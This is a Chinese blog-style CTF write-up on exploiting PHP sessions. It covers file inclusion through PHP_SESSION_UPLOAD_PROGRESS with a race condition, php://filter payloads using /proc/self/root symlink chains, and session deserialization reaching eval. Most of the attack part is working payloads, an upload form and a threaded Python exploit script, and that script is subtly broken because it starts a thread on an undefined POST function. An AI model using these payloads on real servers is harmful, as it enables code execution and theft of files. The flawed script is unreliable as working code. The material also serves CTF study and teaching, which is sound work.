php網(wǎng)絡(luò)安全session利用的小思路
前言
做題的時(shí)候經(jīng)??嫉絪ession利用,常見的基本就兩種,session文件包含和session反序列化,之前沒有詳細(xì)總結(jié)過,就寫寫吧。
session文件包含
php.ini
session的相關(guān)配置
session.upload_progress.enabled = on //enabled=on表示upload_progress功能開始,也意味著當(dāng)瀏覽器向服務(wù)器上傳一個(gè)文件時(shí),php將會(huì)把此次文件上傳的詳細(xì)信息(如上傳時(shí)間、上傳進(jìn)度等)存儲(chǔ)在session當(dāng)中 ; session.upload_progress.prefix = "upload_progress_" //將表示為session中的鍵名 session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //當(dāng)它出現(xiàn)在表單中,php將會(huì)報(bào)告上傳進(jìn)度,而且它的值可控?。?! session.use_strict_mode = off //這個(gè)選項(xiàng)默認(rèn)值為off,表示我們對(duì)Cookie中sessionid可控?。?! session.save_path = /var/lib/php/sessions //session的存貯位置,默認(rèn)還有一個(gè) /tmp/目錄
當(dāng)session相關(guān)配置如上的時(shí)候,我們可以利用session.upload_progress
將惡意語句寫入session文件,從而包含session文件。
平常,當(dāng)我們要?jiǎng)?chuàng)建session時(shí)往往會(huì)在php代碼里寫session_start()
,但我們不寫的話,也是可以創(chuàng)建的。
比如,在php.ini中設(shè)置session.auto_start=On
的情況下,php在接收請(qǐng)求的時(shí)候會(huì)自動(dòng)初始化session,不需要執(zhí)行session_start()
。但默認(rèn)狀態(tài)下,這個(gè)選項(xiàng)是默認(rèn)關(guān)閉的。
不過幸好,session還有一個(gè)默認(rèn)選項(xiàng),session.use_strict_mode
默認(rèn)值為0。
這樣用戶是可以自己定義session ID的。比如,我們?cè)赾ookie里設(shè)置PHPSESSID=AndyNoel,就會(huì)在服務(wù)器/tmp
目錄下或者/var/lib/php/sessions/
目錄下創(chuàng)建一個(gè)文件:sess_AndyNoel。即便沒有設(shè)置自動(dòng)初始化session,php也會(huì)產(chǎn)生session,并生成一個(gè)鍵值,這個(gè)鍵值由ini.get("session.upload_progress.prefix")
+我們構(gòu)造的session.upload_progress.name
值組成,最后被一起寫入sess_文件里。
[WMCTF 2020]Make PHP Great Again
<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; } //Please hack me with your 0day!
很容易發(fā)現(xiàn)存在一個(gè)文件包含漏洞,但找不到能包含的惡意文件,那我們就可以往session里面寫入惡意內(nèi)容,然后包含它。
session維持
按照上面說的思路創(chuàng)建好session后,問題又來了,那就是在php.ini往往還有一條設(shè)置
session.upload_progress.cleanup = on //表示當(dāng)文件上傳結(jié)束后,php將會(huì)立即清空對(duì)應(yīng)session文件中的內(nèi)容
默認(rèn)配置session.upload_progress.cleanup = on
導(dǎo)致文件上傳后,session文件內(nèi)容立即清空,清空了就沒辦法利用了。我們要想辦法把session留在里面,所以就要利用條件競爭,在session文件內(nèi)容清空前進(jìn)行文件包含利用。
方法一 | 借助Burp Suite
可以在本地寫一個(gè)上傳頁面,然后抓包添加Cookie: PHPSESSID=AndyNoel
,再用BurpSuite爆破
<!DOCTYPE html> <html> <body> <form action="http://localhost/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
一邊不斷發(fā)包請(qǐng)求包含惡意的session,一邊不斷發(fā)包以維持惡意session存儲(chǔ)。這樣就可以利用條件競爭把惡意內(nèi)容留在session里面了。
方法二 | python腳本
原理和上面的差不多,但是我們直接編寫腳本,寫shell、取flag一把梭出來,用不著那么麻煩了
import io import sys import requests import threading sessid = 'AndyNoel' def WRITE(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://localhost/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"}, files={"file":('1.txt', f)}, cookies={'PHPSESSID':sessid} ) def READ(session): while True: resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}') if 'flag{' in resp.text: print(resp.text) sys.exit(0) else: print('Thinking[+++++++]') with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
方法三(非預(yù)期) | 偽協(xié)議配合多級(jí)符號(hào)鏈接的辦法進(jìn)行繞過。
在這里有個(gè)小知識(shí)點(diǎn),/proc/self
指向當(dāng)前進(jìn)程的/proc/pid/
,/proc/self/root/
是指向/
的符號(hào)鏈接,想到這里,用偽協(xié)議配合多級(jí)符號(hào)鏈接的辦法進(jìn)行繞過。
payload: ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
另外一個(gè)payload
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php
session反序列化
選擇不同的處理器,處理方式也不一樣,如果序列化和儲(chǔ)存session與反序列化的方式不同,就有可能導(dǎo)致漏洞的產(chǎn)生。
Jarvis OJ WEB PHPINFO
<?php ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
如果只看php代碼,其實(shí)我們是找不到參數(shù)可控的地方的,所以通過什么方法來進(jìn)行反序列化呢?session.serialize_handler
session.serialize_handler (string)
用來定義序列化/反序列化的處理器名字。 當(dāng)前支持 PHP 序列化格式 (名為 php_serialize)、 PHP PHP 內(nèi)部格式 (名為 php 及 php_binary) 和 WDDX (名為 wddx)。 如果 PHP 編譯時(shí)加入了 WDDX 支持,則只能用 WDDX。 php_serialize
在內(nèi)部簡單地直接使用serialize/unserialize
函數(shù),并且不會(huì)有 php 和 php_binary 所具有的限制。 使用較舊的序列化處理器導(dǎo)致 $_SESSION 的索引既不能是數(shù)字也不能包含特殊字符(| and !) 。
可以看一下這個(gè)題目環(huán)境的phpinfo,在session部分
默認(rèn)session.serialize_handler
為php_serialize
,而這里卻設(shè)置為php:
這樣就很明顯了,因?yàn)樘幚砥鲗?duì)應(yīng)的處理格式不同導(dǎo)致出現(xiàn)session反序列化漏洞
但還是不夠,因?yàn)槲覀冞€是沒辦法控制變量,翻看PHP手冊(cè)有個(gè)有意思的地方:
既然如此,我們可以去看看有關(guān)session的php.ini的設(shè)置
ession.upload_progress.enabled = on
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
設(shè)置是這樣的話,我們就可以構(gòu)造反序列化了。
<?php class OowoO { public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//從phpinfo看見的 } $obj = new OowoO(); echo serialize($obj); ?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
為了防止雙引號(hào)轉(zhuǎn)義,所以要處理一下,在雙引號(hào)前面加\
,所以應(yīng)該是這樣
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}
然后自己本地寫一個(gè)提交頁面:
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" /> <input type="file" name="file" /> <input type="submit" /> </form>
抓包修改,在序列化的字符串前加 |,提交即可。
小結(jié)
session有關(guān)的安全性問題主要是文件包含和反序列化兩個(gè)利用點(diǎn),利用PHP_SESSION_UPLOAD_PROGRESS
可以繞過大部分過濾。
以上就是php網(wǎng)絡(luò)安全session利用的小思路的詳細(xì)內(nèi)容,更多關(guān)于php網(wǎng)絡(luò)安全session利用的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
php生成復(fù)雜驗(yàn)證碼(傾斜,正弦干擾線,黏貼,旋轉(zhuǎn))
現(xiàn)在好多網(wǎng)站使用的驗(yàn)證碼非常容易被軟件自動(dòng)識(shí)別到,本文介紹了一種PHP生成驗(yàn)證碼并加入傾斜,弦干擾線,黏貼,旋轉(zhuǎn)等效果2018-03-03WinXP + Apache +PHP5 + MySQL + phpMyAdmin安裝全功略
WinXP + Apache +PHP5 + MySQL + phpMyAdmin安裝全功略...2006-07-07shell編程入門之變量,字符串,數(shù)組,函數(shù)使用方法總結(jié)
這篇文章主要介紹了shell編程入門之變量,字符串,數(shù)組,函數(shù)使用方法總結(jié),需要的朋友可以參考下2022-01-01JavaScript與HTML結(jié)合的基本使用方法整理
這篇文章主要介紹了JavaScript與HTML結(jié)合的基本使用方法整理,是JavaScript入門學(xué)習(xí)中的基礎(chǔ)知識(shí),需要的朋友可以參考下2015-10-10jQuery EasyUI API 中文文檔 - DateBox日期框
jQuery EasyUI API 中文文檔 - DateBox日期框,需要的朋友可以參考下。2011-10-10